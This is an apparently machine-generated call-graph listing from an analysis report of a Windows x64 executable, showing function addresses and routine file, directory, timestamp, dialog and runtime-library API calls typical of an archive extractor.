7ff7b1df2c62 17295->17296 17297 7ff7b1df2c69 17295->17297 17298 7ff7b1df29d4 swprintf 43 API calls 17296->17298 17297->17159 17298->17297 17306 7ff7b1df48e9 swprintf 17305->17306 17309 7ff7b1df1e14 17306->17309 17310 7ff7b1df1e42 17309->17310 17311 7ff7b1df1e68 17309->17311 17313 7ff7b1df4850 _set_fmode 15 API calls 17310->17313 17311->17310 17312 7ff7b1df1e76 17311->17312 17314 7ff7b1deeec0 swprintf 35 API calls 17312->17314 17315 7ff7b1df1e47 17313->17315 17317 7ff7b1df1e82 17314->17317 17316 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17315->17316 17329 7ff7b1def001 17316->17329 17319 7ff7b1df1ed8 17317->17319 17330 7ff7b1df5eb8 17317->17330 17320 7ff7b1df4850 _set_fmode 15 API calls 17319->17320 17321 7ff7b1df1f52 17319->17321 17322 7ff7b1df1f8a 17320->17322 17323 7ff7b1df4850 _set_fmode 15 API calls 17321->17323 17324 7ff7b1df2044 _snwprintf 17321->17324 17325 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17322->17325 17326 7ff7b1df2039 17323->17326 17328 7ff7b1df4850 _set_fmode 15 API calls 17324->17328 17324->17329 17325->17321 17327 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17326->17327 17327->17324 17328->17329 17329->16920 17331 7ff7b1deeec0 swprintf 35 API calls 17330->17331 17332 7ff7b1df5ef2 17331->17332 17333 7ff7b1df6030 swprintf 35 API calls 17332->17333 17338 7ff7b1df5efc 17332->17338 17334 7ff7b1df5f1e 17333->17334 17337 7ff7b1df8878 _snwprintf 39 API calls 17334->17337 17335 7ff7b1de98e0 _handle_error 8 API calls 17336 7ff7b1df5fae 17335->17336 17336->17317 17337->17338 17338->17335 17340 7ff7b1def5de 17339->17340 17344 7ff7b1def554 17339->17344 17341 7ff7b1df4850 _set_fmode 15 API calls 17340->17341 17340->17344 17342 7ff7b1def637 17341->17342 17343 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17342->17343 17343->17344 17344->17063 17344->17065 17346 7ff7b1de5404 GetDlgItem 17345->17346 17347 7ff7b1de53c0 GetMessageW 17345->17347 17346->16493 17346->16494 17348 7ff7b1de53df IsDialogMessageW 17347->17348 17349 7ff7b1de53ee TranslateMessage DispatchMessageW 17347->17349 17348->17346 17348->17349 17349->17346 17351 7ff7b1dd339a _snwprintf 17350->17351 17352 7ff7b1dd33da 17351->17352 17353 7ff7b1dd33cb CreateDirectoryW 17351->17353 17368 7ff7b1dd3134 17352->17368 17353->17352 17355 7ff7b1dd340f 17353->17355 17359 7ff7b1dd341e 17355->17359 17384 7ff7b1dd3630 17355->17384 17357 7ff7b1dd3422 GetLastError 17357->17359 17361 7ff7b1de98e0 _handle_error 8 API calls 17359->17361 17363 7ff7b1dd344d 17361->17363 17363->16507 17364 7ff7b1dd33fe CreateDirectoryW 17364->17355 17364->17357 17396 7ff7b1de9af8 IsProcessorFeaturePresent 17365->17396 17394 7ff7b1de9920 17368->17394 17371 7ff7b1dd318d 17373 7ff7b1de98e0 _handle_error 8 API calls 17371->17373 17372 7ff7b1dd3169 17374 7ff7b1dd44c8 9 API calls 17372->17374 17375 7ff7b1dd319f 17373->17375 17376 7ff7b1dd317c 17374->17376 17375->17357 17378 7ff7b1dd44c8 17375->17378 17376->17371 17377 7ff7b1dd3180 GetFileAttributesW 17376->17377 17377->17371 17381 7ff7b1dd44d9 _snwprintf 17378->17381 17379 7ff7b1de98e0 _handle_error 8 API calls 17380 7ff7b1dd33fa 17379->17380 17380->17357 17380->17364 17382 7ff7b1dd45b0 GetCurrentDirectoryW 17381->17382 17383 7ff7b1dd4524 17381->17383 17382->17383 17383->17379 17385 7ff7b1de9920 _snwprintf 17384->17385 17386 7ff7b1dd3645 SetFileAttributesW 17385->17386 17387 7ff7b1dd366e 17386->17387 17388 7ff7b1dd3697 17386->17388 17389 7ff7b1dd44c8 9 API calls 17387->17389 17390 7ff7b1de98e0 _handle_error 8 API calls 17388->17390 17392 7ff7b1dd3681 17389->17392 17391 7ff7b1dd36a9 17390->17391 17391->17359 17392->17388 17393 7ff7b1dd3685 SetFileAttributesW 17392->17393 17393->17388 17395 7ff7b1dd3144 GetFileAttributesW 17394->17395 17395->17371 17395->17372 17397 7ff7b1de9b0f 17396->17397 17402 7ff7b1de9b94 RtlCaptureContext RtlLookupFunctionEntry 17397->17402 17403 7ff7b1de9b23 17402->17403 17404 7ff7b1de9bc4 RtlVirtualUnwind 17402->17404 17405 7ff7b1de99d8 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 17403->17405 17404->17403 17407 7ff7b1df0f06 17406->17407 17408 7ff7b1df0f1e 17406->17408 17410 7ff7b1df4850 _set_fmode 15 API calls 17407->17410 17408->17407 17409 7ff7b1df0f28 17408->17409 17411 7ff7b1deeec0 swprintf 35 API calls 17409->17411 17412 7ff7b1df0f0b 17410->17412 17416 7ff7b1df0f39 __scrt_get_show_window_mode 17411->17416 17413 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17412->17413 17432 7ff7b1df0f16 17413->17432 17414 7ff7b1de98e0 _handle_error 8 API calls 17415 7ff7b1dd37b5 17414->17415 17415->16426 17433 7ff7b1deee40 17416->17433 17421 7ff7b1df0fb5 17423 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 17421->17423 17422 7ff7b1df0fe4 17424 7ff7b1df103c 17422->17424 17425 7ff7b1df0ff3 17422->17425 17426 7ff7b1df1062 17422->17426 17429 7ff7b1df0fea 17422->17429 17423->17432 17430 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 17424->17430 17428 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 17425->17428 17426->17424 17427 7ff7b1df106c 17426->17427 17428->17432 17429->17424 17429->17425 17430->17432 17432->17414 17434 7ff7b1df4850 _set_fmode 15 API calls 17433->17434 17435 7ff7b1deeeb2 17434->17435 17436 7ff7b1def2c8 17435->17436 17437 7ff7b1def2ef 17436->17437 17438 7ff7b1def307 17436->17438 17439 7ff7b1df4850 _set_fmode 15 API calls 17437->17439 17438->17437 17448 7ff7b1def30d 17438->17448 17440 7ff7b1def2f4 17439->17440 17442 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17440->17442 17441 7ff7b1def2ff 17441->17421 17441->17422 17442->17441 17443 7ff7b1def52d 17444 7ff7b1df4850 _set_fmode 15 API calls 17443->17444 17445 7ff7b1def532 17444->17445 17446 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17445->17446 17446->17441 17448->17441 17448->17443 17451 7ff7b1defbec 17448->17451 17469 7ff7b1def7cc 17448->17469 17493 7ff7b1def044 17448->17493 17452 7ff7b1defc8a 17451->17452 17463 7ff7b1defc2f 17451->17463 17453 7ff7b1defc8f 17452->17453 17454 7ff7b1defd0e 17452->17454 17456 7ff7b1defcf4 17453->17456 17461 7ff7b1defc99 17453->17461 17500 7ff7b1df01d4 17454->17500 17458 7ff7b1defd17 swprintf 17462 7ff7b1de98e0 _handle_error 8 API calls 17458->17462 17460 7ff7b1df0574 swprintf 31 API calls 17467 7ff7b1defc7b swprintf 17460->17467 17461->17458 17461->17460 17461->17467 17463->17454 17463->17458 17463->17461 17464 7ff7b1defc5d 17463->17464 17466 7ff7b1defc6b 17463->17466 17463->17467 17464->17454 17464->17466 17464->17467 17466->17458 17496 7ff7b1df04cc 17466->17496 17467->17458 17508 7ff7b1df0a20 17467->17508 17470 7ff7b1def7d7 17469->17470 17471 7ff7b1def7f0 17469->17471 17472 7ff7b1defc8a 17470->17472 17479 7ff7b1def817 17470->17479 17486 7ff7b1defc2f 17470->17486 17473 7ff7b1df4850 _set_fmode 15 API calls 17471->17473 17471->17479 17479->17448 17527 7ff7b1df4900 17493->17527 17528 7ff7b1df4919 swprintf 17527->17528 17653 7ff7b1de50e5 _snwprintf 17650->17653 17651 7ff7b1de98e0 _handle_error 8 API calls 17652 7ff7b1de51e2 17651->17652 17652->16547 17654 7ff7b1de51a3 ExpandEnvironmentStringsW 17653->17654 17655 7ff7b1de51c7 17653->17655 17654->17655 17655->17651 17659 7ff7b1de4eda _snwprintf 17656->17659 17679 7ff7b1de7c52 _snwprintf __scrt_get_show_window_mode 17675->17679 17676 7ff7b1de7ec2 17679->17676 17680 7ff7b1de7d7e 17679->17680 17775 7ff7b1dd9878 CompareStringW 17679->17775 17699->16547 17701 7ff7b1dd476d _snwprintf 17700->17701 17702 7ff7b1de98e0 _handle_error 8 API calls 17701->17702 17706 7ff7b1dd389a 17704->17706 17705 7ff7b1dd3984 14 API calls 17705->17706 17706->17705 17707 7ff7b1dd3942 17706->17707 17707->16547 17709 7ff7b1dd43c6 17708->17709 17713 7ff7b1dd37f1 FindClose 17712->17713 17714 7ff7b1dd37f7 17712->17714 17713->17714 17714->16547 17716 7ff7b1df28b9 17715->17716 17719 7ff7b1df28a2 17715->17719 17716->17719 17793 7ff7b1df5fc8 17716->17793 17719->16547 17775->17680 17803 7ff7b1dd828c 17802->17803 17824 7ff7b1dd81bc 17803->17824 17805 7ff7b1dd8298 wcscpy 17825 7ff7b1dd81df 17824->17825 17829 7ff7b1dd8249 17824->17829 17826 7ff7b1dd1b88 71 API calls 17825->17826 17827 7ff7b1dd820c 17825->17827 17827->17829 17829->17805 18283 7ff7b1de3f3c 4 API calls 18282->18283 18284 7ff7b1de3f1a 18283->18284 18285 7ff7b1de3f29 18284->18285 18286 7ff7b1de3f74 4 API calls 18284->18286 18285->16592 18285->16593 18286->18285 18287->16598 18289 7ff7b1de3f86 18288->18289 18290 7ff7b1de3f8b 18288->18290 18307 7ff7b1de3fc8 GetDC 18289->18307 18290->16604 18293 7ff7b1de3f4e 18292->18293 18294 7ff7b1de3f53 18292->18294 18295 7ff7b1de3fc8 4 API calls 18293->18295 18294->16604 18295->18294 18310 7ff7b1de4018 GetDC GetDeviceCaps ReleaseDC 18296->18310 18298 7ff7b1de422e 18299 7ff7b1de4238 18298->18299 18300 7ff7b1de4247 GetObjectW 18298->18300 18311 7ff7b1de44b8 GetDC 18299->18311 18304 7ff7b1de426a 18300->18304 18302 7ff7b1de98e0 _handle_error 8 API calls 18303 7ff7b1de44a6 SendMessageW DeleteObject 18302->18303 18303->16599 18305 7ff7b1de4441 DeleteObject 18304->18305 18306 7ff7b1de4242 18304->18306 18305->18306 18306->18302 18308 7ff7b1de4011 18307->18308 18309 7ff7b1de3fde GetDeviceCaps GetDeviceCaps ReleaseDC 18307->18309 18308->18290 18309->18308 18310->18298 18312 7ff7b1de44f3 18311->18312 18313 7ff7b1de44ff GetObjectW 18312->18313 18314 7ff7b1de4536 18313->18314 18315 7ff7b1de45be ReleaseDC 18314->18315 18315->18306 18316->16615 18318 7ff7b1de23fa _snwprintf 18317->18318 18319 7ff7b1dd2420 14 API calls 18318->18319 18320 7ff7b1de2433 18319->18320 18321 7ff7b1de2447 18320->18321 18327 7ff7b1de229c 18320->18327 18322 7ff7b1dd2054 75 API calls 18321->18322 18324 7ff7b1de2452 18322->18324 18325 7ff7b1de98e0 _handle_error 8 API calls 18324->18325 18326 7ff7b1de2462 18325->18326 18326->16621 18328 7ff7b1de22cd 18327->18328 18329 7ff7b1de23a3 BuildCatchObjectHelperInternal 18328->18329 18330 7ff7b1de2184 82 API calls 18328->18330 18329->18321 18331 7ff7b1de22e4 18330->18331 18332 7ff7b1dd236c 77 API calls 18331->18332 18333 7ff7b1de22ee 18332->18333 18337 7ff7b1dd2900 77 API calls 18333->18337 18334 7ff7b1de2312 18338 7ff7b1dd2740 78 API calls 18334->18338 18335 7ff7b1de2328 18335->18329 18336 7ff7b1dd1990 69 API calls 18335->18336 18336->18329 18337->18334 18338->18335 18342 7ff7b1de34fb 18339->18342 18344 7ff7b1de9c1e RtlLookupFunctionEntry 18343->18344 18345 7ff7b1de9c34 RtlVirtualUnwind 18344->18345 18346 7ff7b1de9a3b 18344->18346 18345->18344 18345->18346 18347 7ff7b1de99d8 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 18346->18347 19629 7ff7b1df2ff8 19630 7ff7b1df4060 __GSHandlerCheck_EH 35 API calls 19629->19630 19631 7ff7b1df2ffd 19630->19631 19636 7ff7b1df6518 LeaveCriticalSection 19631->19636 19716 7ff7b1dd1110 19717 7ff7b1de9f30 19716->19717 19720 7ff7b1de9ef4 19717->19720 19719 7ff7b1de9f39 19721 7ff7b1de9f0e 19720->19721 19723 7ff7b1de9f07 19720->19723 19724 7ff7b1df3b6c 19721->19724 19723->19719 19727 7ff7b1df3728 19724->19727 19734 7ff7b1df64b8 EnterCriticalSection 19727->19734 18351 7ff7b1dfd3e1 18352 7ff7b1dfd3ff 18351->18352 18353 7ff7b1deb514 Concurrency::cancel_current_task 2 API calls 18352->18353 18354 7ff7b1dfd408 18353->18354 18355 7ff7b1deb514 Concurrency::cancel_current_task 2 API calls 18354->18355 18356 7ff7b1dfd44d 18355->18356 18363 7ff7b1dd9d94 18356->18363 18361 7ff7b1deb514 Concurrency::cancel_current_task 2 API calls 18362 7ff7b1dfd489 18361->18362 18365 7ff7b1dd9d99 18363->18365 18366 7ff7b1dd9dbd 18363->18366 18365->18366 18445 7ff7b1ddad10 18365->18445 18367 7ff7b1ddb31c 18366->18367 18368 7ff7b1ddb333 18367->18368 18369 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18368->18369 18370 7ff7b1ddb35c _snwprintf 18369->18370 18371 7ff7b1dd93f0 67 API calls 18370->18371 18372 7ff7b1ddb40b 18371->18372 18373 7ff7b1dd2c38 47 API calls 18372->18373 18374 7ff7b1ddb421 18373->18374 18375 7ff7b1de999c 4 API calls 18374->18375 18430 7ff7b1ddb467 __scrt_get_show_window_mode BuildCatchObjectHelperInternal 18375->18430 18376 7ff7b1ddc820 18377 7ff7b1ddc854 18376->18377 18380 7ff7b1ddc89b 18376->18380 18377->18376 18377->18380 18665 7ff7b1dd3468 18377->18665 18382 7ff7b1dd1a78 69 API calls 18380->18382 18383 7ff7b1ddc8c7 18380->18383 18381 7ff7b1ddad74 CompareStringW CompareStringW 18381->18430 18382->18383 18384 7ff7b1dd1990 69 API calls 18383->18384 18385 7ff7b1ddc901 18383->18385 18384->18385 18683 7ff7b1dda2ac 18385->18683 18386 7ff7b1ddd7c8 18 API calls 18386->18430 18389 7ff7b1ddadc8 48 API calls 18389->18430 18390 7ff7b1dd93f0 67 API calls 18390->18430 18391 7ff7b1ddc972 18688 7ff7b1ddac44 18391->18688 18392 7ff7b1ddd938 92 API calls 18392->18430 18393 7ff7b1dddcc8 92 API calls 18393->18430 18395 7ff7b1ddc98a 18698 7ff7b1ddb170 18395->18698 18398 7ff7b1dddb58 77 API calls 18398->18430 18399 7ff7b1ddc9d1 18401 7ff7b1de98e0 _handle_error 8 API calls 18399->18401 18400 7ff7b1ddc995 18400->18399 18405 7ff7b1ddca0e 18400->18405 18402 7ff7b1ddc9ed 18401->18402 18402->18361 18403 7ff7b1dd1a78 69 API calls 18403->18430 18404 7ff7b1ddd4bc 102 API calls 18404->18430 18406 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18405->18406 18407 7ff7b1ddca13 18406->18407 18408 7ff7b1dd36c0 Concurrency::cancel_current_task 2 API calls 18407->18408 18410 7ff7b1ddca19 18408->18410 18409 7ff7b1dda7e8 69 API calls 18409->18430 18705 7ff7b1dd36e0 18410->18705 18411 7ff7b1de2568 MultiByteToWideChar 18411->18430 18414 7ff7b1ddca1f 18415 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18414->18415 18416 7ff7b1ddca25 18415->18416 18423 7ff7b1dd36f4 47 API calls 18423->18430 18430->18376 18430->18381 18430->18386 18430->18389 18430->18390 18430->18392 18430->18393 18430->18398 18430->18403 18430->18404 18430->18407 18430->18409 18430->18410 18430->18411 18430->18414 18430->18423 18431 7ff7b1dd3120 11 API calls 18430->18431 18433 7ff7b1ddc816 18430->18433 18437 7ff7b1dd3388 16 API calls 18430->18437 18438 7ff7b1dd2ee4 20 API calls 18430->18438 18440 7ff7b1dd2c38 47 API calls 18430->18440 18441 7ff7b1dd1e30 71 API calls 18430->18441 18442 7ff7b1de999c 4 API calls 18430->18442 18443 7ff7b1dd2900 77 API calls 18430->18443 18444 7ff7b1dd2a10 75 API calls 18430->18444 18449 7ff7b1de0094 18430->18449 18454 7ff7b1dd8c30 18430->18454 18457 7ff7b1dd1648 18430->18457 18465 7ff7b1de0230 18430->18465 18470 7ff7b1dd40e0 18430->18470 18474 7ff7b1dd93fc 18430->18474 18482 7ff7b1ddd2c4 18430->18482 18488 7ff7b1ddca28 18430->18488 18541 7ff7b1dda490 18430->18541 18547 7ff7b1dd1f4c 18430->18547 18550 7ff7b1dda89c 18430->18550 18556 7ff7b1dda384 18430->18556 18568 7ff7b1dd9938 18430->18568 18574 7ff7b1dd9dc8 18430->18574 18584 7ff7b1ddab84 18430->18584 18592 7ff7b1dd9eb8 18430->18592 18604 7ff7b1dd31d4 18430->18604 18613 7ff7b1de0ae0 18430->18613 18641 7ff7b1dda048 18430->18641 18655 7ff7b1dd925c 18430->18655 18431->18430 18434 7ff7b1dd17a8 69 API calls 18433->18434 18434->18376 18437->18430 18438->18430 18440->18430 18441->18430 18442->18430 18443->18430 18444->18430 18446 7ff7b1ddad23 18445->18446 18447 7ff7b1ddad48 18445->18447 18446->18447 18448 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18446->18448 18447->18365 18448->18447 18450 7ff7b1ddd938 92 API calls 18449->18450 18451 7ff7b1de00b9 18450->18451 18452 7ff7b1de98e0 _handle_error 8 API calls 18451->18452 18453 7ff7b1de0228 18452->18453 18453->18430 18708 7ff7b1dd8c90 SystemTimeToFileTime 18454->18708 18458 7ff7b1dd167a 18457->18458 18722 7ff7b1dd1524 18458->18722 18461 7ff7b1dd16a1 18462 7ff7b1dd1700 18461->18462 18464 7ff7b1dd16df 18461->18464 18727 7ff7b1dd3b9c 18461->18727 18462->18464 18745 7ff7b1dd811c 18462->18745 18464->18430 18466 7ff7b1ddd938 92 API calls 18465->18466 18469 7ff7b1de0255 18466->18469 18467 7ff7b1de98e0 _handle_error 8 API calls 18468 7ff7b1de036f 18467->18468 18468->18430 18469->18467 18473 7ff7b1dd40ee _snwprintf 18470->18473 18471 7ff7b1de98e0 _handle_error 8 API calls 18472 7ff7b1dd4264 18471->18472 18472->18430 18473->18471 18474->18430 18475 7ff7b1de8504 _snwprintf 18474->18475 18476 7ff7b1dd6118 48 API calls 18475->18476 18477 7ff7b1de8534 18476->18477 18478 7ff7b1dd3774 swprintf 46 API calls 18477->18478 18479 7ff7b1de8549 SetDlgItemTextW SetWindowTextW 18478->18479 18480 7ff7b1de98e0 _handle_error 8 API calls 18479->18480 18481 7ff7b1de857f 18480->18481 18481->18430 18483 7ff7b1ddd2d0 _snwprintf 18482->18483 18484 7ff7b1dd37fc 15 API calls 18483->18484 18485 7ff7b1ddd327 18484->18485 18486 7ff7b1de98e0 _handle_error 8 API calls 18485->18486 18487 7ff7b1ddd35a 18486->18487 18487->18430 18489 7ff7b1ddca8a 18488->18489 18492 7ff7b1ddcacd 18488->18492 18763 7ff7b1ddd844 18489->18763 18493 7ff7b1ddcb74 18492->18493 18494 7ff7b1ddcb22 18492->18494 18497 7ff7b1dd236c 77 API calls 18492->18497 18496 7ff7b1ddcba0 18493->18496 18517 7ff7b1ddcc09 18493->18517 18494->18493 18539 7ff7b1dd2900 77 API calls 18494->18539 18495 7ff7b1dd2ee4 20 API calls 18498 7ff7b1ddcaa5 18495->18498 18499 7ff7b1ddcbe3 18496->18499 18503 7ff7b1ddcbaa 18496->18503 18497->18494 18501 7ff7b1ddd844 21 API calls 18498->18501 18774 7ff7b1dde354 18499->18774 18500 7ff7b1ddcb4c 18773 7ff7b1dd2ac0 SetEndOfFile 18500->18773 18505 7ff7b1ddcaaa 18501->18505 18506 7ff7b1dd1f4c 69 API calls 18503->18506 18505->18492 18508 7ff7b1ddcaae 18505->18508 18510 7ff7b1ddcbc0 18506->18510 18507 7ff7b1ddcb58 18540 7ff7b1dd2900 77 API calls 18507->18540 18793 7ff7b1dd1b44 18508->18793 18512 7ff7b1ddcac4 18510->18512 18515 7ff7b1ddcbce 18510->18515 18514 7ff7b1de98e0 _handle_error 8 API calls 18512->18514 18513 7ff7b1ddcbf1 18518 7ff7b1ddcd28 18513->18518 18522 7ff7b1dd1ca4 69 API calls 18513->18522 18519 7ff7b1ddceb0 18514->18519 18520 7ff7b1ddd364 77 API calls 18515->18520 18516 7ff7b1ddd6d4 78 API calls 18516->18513 18534 7ff7b1ddccec 18517->18534 18808 7ff7b1ddda28 18517->18808 18814 7ff7b1dd93b8 18517->18814 18817 7ff7b1ddd6d4 18517->18817 18526 7ff7b1ddcdbd 18518->18526 18821 7ff7b1de12a0 18518->18821 18519->18430 18523 7ff7b1ddcbd3 18520->18523 18522->18518 18798 7ff7b1dd309c 18523->18798 18527 7ff7b1ddce04 18526->18527 18824 7ff7b1dda7e8 18526->18824 18528 7ff7b1ddce8f 18527->18528 18529 7ff7b1ddce81 18527->18529 18830 7ff7b1dd2ac0 SetEndOfFile 18527->18830 18528->18512 18533 7ff7b1ddce94 18528->18533 18529->18528 18785 7ff7b1ddd364 18529->18785 18535 7ff7b1dd309c 11 API calls 18533->18535 18534->18513 18534->18516 18535->18512 18537 7ff7b1ddcd4e 18537->18526 18538 7ff7b1ddda28 92 API calls 18537->18538 18538->18537 18539->18500 18540->18493 18542 7ff7b1dda506 18541->18542 18544 7ff7b1dda4da 18541->18544 18546 7ff7b1dda500 18542->18546 18955 7ff7b1dda560 18542->18955 18543 7ff7b1ddad10 31 API calls 18543->18544 18544->18543 18544->18546 18546->18430 18548 7ff7b1dd18d8 69 API calls 18547->18548 18549 7ff7b1dd1f6d 18548->18549 18549->18430 18551 7ff7b1dda902 __scrt_get_show_window_mode 18550->18551 18552 7ff7b1dd8dec 69 API calls 18551->18552 18553 7ff7b1dda925 18552->18553 18554 7ff7b1de98e0 _handle_error 8 API calls 18553->18554 18555 7ff7b1dda931 18554->18555 18555->18430 18557 7ff7b1dda481 18556->18557 18558 7ff7b1dda3b8 18556->18558 18560 7ff7b1dd36e0 47 API calls 18557->18560 18559 7ff7b1dda3c5 18558->18559 18561 7ff7b1dda407 18558->18561 18562 7ff7b1dd2c38 47 API calls 18559->18562 18566 7ff7b1dda402 BuildCatchObjectHelperInternal 18560->18566 18564 7ff7b1de999c 4 API calls 18561->18564 18561->18566 18562->18566 18563 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18565 7ff7b1dda48c 18563->18565 18564->18566 18566->18563 18567 7ff7b1dda45a 18566->18567 18567->18430 18569 7ff7b1dd996a 18568->18569 18972 7ff7b1dd9ba8 18569->18972 18571 7ff7b1dd9979 18982 7ff7b1dd9aa0 18571->18982 18573 7ff7b1dd99a0 18573->18430 18575 7ff7b1dd9df2 18574->18575 18576 7ff7b1dd9e33 18575->18576 18577 7ff7b1dd9eb1 18575->18577 18582 7ff7b1dd9e1b 18575->18582 18995 7ff7b1dd99b4 18576->18995 19000 7ff7b1ddb15c 18577->19000 18582->18430 18583 7ff7b1ddab84 31 API calls 18583->18582 18585 7ff7b1ddab96 18584->18585 18586 7ff7b1ddabc4 18585->18586 18587 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18585->18587 18586->18430 18588 7ff7b1ddabe7 18587->18588 18589 7ff7b1ddac22 18588->18589 18590 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18588->18590 18589->18430 18591 7ff7b1ddac43 18590->18591 18593 7ff7b1dd9efb 18592->18593 18595 7ff7b1dda038 18592->18595 18594 7ff7b1dd9f1a 18593->18594 18593->18595 18597 7ff7b1dd9f69 18593->18597 18598 7ff7b1dd2c38 47 API calls 18594->18598 18596 7ff7b1dd36c0 Concurrency::cancel_current_task 2 API calls 18595->18596 18599 7ff7b1dda044 18596->18599 18600 7ff7b1de999c 4 API calls 18597->18600 18602 7ff7b1dd9f5f BuildCatchObjectHelperInternal 18597->18602 18598->18602 18600->18602 18601 7ff7b1dda002 18601->18430 18602->18601 18603 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18602->18603 18603->18595 18607 7ff7b1dd31f1 _snwprintf __vcrt_InitializeCriticalSectionEx 18604->18607 18605 7ff7b1de98e0 _handle_error 8 API calls 18606 7ff7b1dd3375 18605->18606 18606->18430 18608 7ff7b1dd334a 18607->18608 18610 7ff7b1dd3360 18607->18610 18611 7ff7b1dd37fc 15 API calls 18607->18611 19007 7ff7b1dd3018 18607->19007 19017 7ff7b1dd36f4 18608->19017 18610->18605 18611->18607 18614 7ff7b1de0b2a 18613->18614 18618 7ff7b1de0b3f 18614->18618 18619 7ff7b1de0be7 18614->18619 18615 7ff7b1de0b8f 18617 7ff7b1de0ba2 18615->18617 18620 7ff7b1ddda28 92 API calls 18615->18620 18616 7ff7b1ddda28 92 API calls 18616->18619 18622 7ff7b1ddda28 92 API calls 18617->18622 18624 7ff7b1de0bcc 18617->18624 18618->18615 18621 7ff7b1ddda28 92 API calls 18618->18621 18619->18616 18619->18624 18620->18617 18621->18618 18622->18624 18625 7ff7b1de0c90 18624->18625 18626 7ff7b1de0658 47 API calls 18624->18626 19037 7ff7b1de093c 18625->19037 18626->18625 18627 7ff7b1dd6ff8 78 API calls 18635 7ff7b1de0d15 18627->18635 18629 7ff7b1dd96d0 WideCharToMultiByte 18629->18635 18630 7ff7b1de12c0 8 API calls 18630->18635 18631 7ff7b1de0efe 18632 7ff7b1de98e0 _handle_error 8 API calls 18631->18632 18633 7ff7b1de0f8b 18632->18633 18633->18430 18634 7ff7b1de1018 8 API calls 18634->18635 18635->18627 18635->18629 18635->18630 18635->18631 18635->18634 18636 7ff7b1de0f0f 18635->18636 18637 7ff7b1de0f05 18635->18637 18639 7ff7b1dda7e8 69 API calls 18635->18639 19041 7ff7b1dd93c0 18635->19041 18636->18631 18640 7ff7b1de1258 8 API calls 18636->18640 18638 7ff7b1dda7e8 69 API calls 18637->18638 18638->18636 18639->18635 18640->18631 18642 7ff7b1dda0ba 18641->18642 18644 7ff7b1dda29e 18641->18644 18643 7ff7b1dda0ef 18642->18643 18642->18644 18645 7ff7b1dda141 18642->18645 18646 7ff7b1dd2c38 47 API calls 18643->18646 18647 7ff7b1dd36c0 Concurrency::cancel_current_task 2 API calls 18644->18647 18648 7ff7b1dda137 18645->18648 18650 7ff7b1de999c 4 API calls 18645->18650 18646->18648 18649 7ff7b1dda2aa 18647->18649 19064 7ff7b1dd9c74 18648->19064 18650->18648 18659 7ff7b1dd9271 _snwprintf 18655->18659 18656 7ff7b1dd92a5 18657 7ff7b1de98e0 _handle_error 8 API calls 18656->18657 18658 7ff7b1dd93a3 18657->18658 18658->18430 18659->18656 19068 7ff7b1de81fc 18659->19068 18661 7ff7b1dd92f6 18661->18656 18662 7ff7b1dd3120 11 API calls 18661->18662 18663 7ff7b1dd9364 18662->18663 18663->18656 18664 7ff7b1dd925c 14 API calls 18663->18664 18664->18656 18666 7ff7b1dd347f _snwprintf 18665->18666 18667 7ff7b1dd3134 11 API calls 18666->18667 18668 7ff7b1dd34de 18667->18668 18669 7ff7b1dd34f4 CreateFileW 18668->18669 18671 7ff7b1dd3630 11 API calls 18668->18671 18672 7ff7b1dd352e 18669->18672 18678 7ff7b1dd3584 18669->18678 18671->18669 18673 7ff7b1dd44c8 9 API calls 18672->18673 18674 7ff7b1dd3541 18673->18674 18675 7ff7b1dd3549 CreateFileW 18674->18675 18676 7ff7b1dd360a 18674->18676 18675->18676 18675->18678 18680 7ff7b1de98e0 _handle_error 8 API calls 18676->18680 18677 7ff7b1dd35bc SetFileTime CloseHandle 18677->18676 18679 7ff7b1dd3600 18677->18679 18678->18677 18681 7ff7b1dd3630 11 API calls 18679->18681 18682 7ff7b1dd361a 18680->18682 18681->18676 18682->18377 18684 7ff7b1dda301 18683->18684 18686 7ff7b1dda2d0 18683->18686 18684->18391 18685 7ff7b1dda2ac 31 API calls 18685->18686 18686->18684 18686->18685 18687 7ff7b1ddab84 31 API calls 18686->18687 18687->18686 18689 7ff7b1ddacbc 18688->18689 18690 7ff7b1ddac5e 18688->18690 18689->18395 18690->18689 18691 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18690->18691 18692 7ff7b1ddacea 18691->18692 18693 7ff7b1ddad10 31 API calls 18692->18693 18694 7ff7b1ddb1a4 18692->18694 18695 7ff7b1ddb1ee 18692->18695 18693->18692 18694->18695 18696 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18694->18696 18695->18395 18697 7ff7b1ddb21c 18696->18697 18699 7ff7b1ddb18a 18698->18699 18702 7ff7b1ddb1ee 18698->18702 18700 7ff7b1ddb1a4 18699->18700 18701 7ff7b1ddad10 31 API calls 18699->18701 18700->18702 18703 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18700->18703 18701->18699 18702->18400 18704 7ff7b1ddb21c 18703->18704 18706 7ff7b1de96e8 std::_Xinvalid_argument 47 API calls 18705->18706 18707 7ff7b1dd36f0 18706->18707 18709 7ff7b1dd8d02 18708->18709 18716 7ff7b1dd8d87 18708->18716 18717 7ff7b1dd3b10 18709->18717 18710 7ff7b1de98e0 _handle_error 8 API calls 18712 7ff7b1dd8c8b 18710->18712 18712->18430 18714 7ff7b1dd8d12 LocalFileTimeToFileTime 18714->18716 18715 7ff7b1dd8d1e FileTimeToSystemTime TzSpecificLocalTimeToSystemTime SystemTimeToFileTime 